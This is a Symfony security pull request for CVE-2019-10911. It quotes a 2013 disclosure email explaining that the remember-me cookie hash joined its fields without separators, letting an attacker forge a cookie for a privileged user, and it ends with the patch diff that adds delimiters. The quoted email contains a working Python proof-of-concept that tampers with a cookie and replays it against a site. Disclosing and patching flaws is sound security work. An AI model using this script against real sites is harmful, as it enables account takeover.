security #cve-2019-10911 [Security] Add a separator in the remember me cookie hash (pborreli)

This PR was merged into the 2.7 branch.

Discussion
----------

[Security] Add a separator in the remember me cookie hash

Fabien found this issue reported back in 2013 but it was never resolved. Pascal (@pborreli) did the original patch.

```
> -------- Original Message --------
> Subject: No structure in remember me MAC
> Date: Tue, 4 Jun 2013 09:46:21 +0100
> From: Jon Cave <jon@joncave.co.uk>
> To: security@symfony.com
>
> I have discovered a vulnerability in the Symfony framework that
> affects version 2.3 and all other 2.x releases. The vulnerability
> would allow an attacker to authenticate as a privileged user on sites
> with user registration and remember me login functionality enabled.
>
> The problem is that there is no structure in the data that is passed
> to the hash function when generating a MAC for remember me cookies.
> From
> Symfony\Component\Security\Http\RememberMe\TokenBasedRememberMeServices::generateCookieHash():
>
>   return hash('sha256',
> $class.$username.$expires.$password.$this->getKey());
>
> This means that there are many inputs that result in the same hash.
> For example, a user can register with username "admin9" and receive
> the following cookie: "<class>:admin9:1370334467:<hash>" where <hash>
> is hash('sha256', "<class>admin91370334467<password><key>"). This
> cookie can then be modified to be: "<class>:admin:91370334467:<hash>"
> where <hash> is the same value as before. The application will load
> the "admin" user and recognise the provided hash as valid! (NB: I left
> out some base64 encoding to make things more obvious.)
>
> The solution to this is to use the same separator when generating the
> hash as is done when encoding the cookie, e.g.:
>
>   return hash('sha256', $class . ':' . $username . ':' . $expires .
> ':' . $password . ':' . $this->getKey());
>
> It would also be a good idea to switch to using hash_hmac():
>
>   return hash_hmac('sha256', $class . ':' . $username . ':' . $expires
> . ':' . $password, $this->getKey());
>
> This is because HMAC is a stronger MAC construction than the secret
> suffix one currently being used [1].
>
> Let me know if you have any questions.
>
> Cheers,
> Jon
> http://joncave.co.uk/
> @joncave
>
> [1]
> http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/
>
> Proof of concept code to perform the attack given a valid cookie to modify:
>
> import base64
> import requests
> import sys
>
> if __name__ == "__main__":
>     if len(sys.argv) != 3:
>         print "COOKIE URL"
>         sys.exit(1)
>
>     cookie = sys.argv[1] # Current cookie
>     url = sys.argv[2]    # URL
>
>     cls, name, expires, mac = base64.b64decode(cookie).split(":")
>
>     # Tamper
>     name = base64.b64decode(name)
>     expires = name[-1] + expires
>     name = base64.b64encode(name[:-1])
>
>     # Reconstruct
>     cookie = ":".join([cls, name, expires, mac])
>
>     print "Using cookie: " + cookie
>     print
>
>     cookies = {"REMEMBERME": base64.b64encode(cookie)}
>     print requests.get(url, cookies=cookies).text
>
>
```

Commits
-------

6356982017 [Security] Add a separator in the remember me cookie hash

src/Symfony/Component/Security/Http/RememberMe/TokenBasedRememberMeServices.php

@@ -121,6 +121,6 @@ class TokenBasedRememberMeServices extends AbstractRememberMeServices
      */
     protected function generateCookieHash($class, $username, $expires, $password)
     {
-        return hash_hmac('sha256', $class.$username.$expires.$password, $this->getKey());
+        return hash_hmac('sha256', $class.self::COOKIE_DELIMITER.$username.self::COOKIE_DELIMITER.$expires.self::COOKIE_DELIMITER.$password, $this->getKey());
     }
 }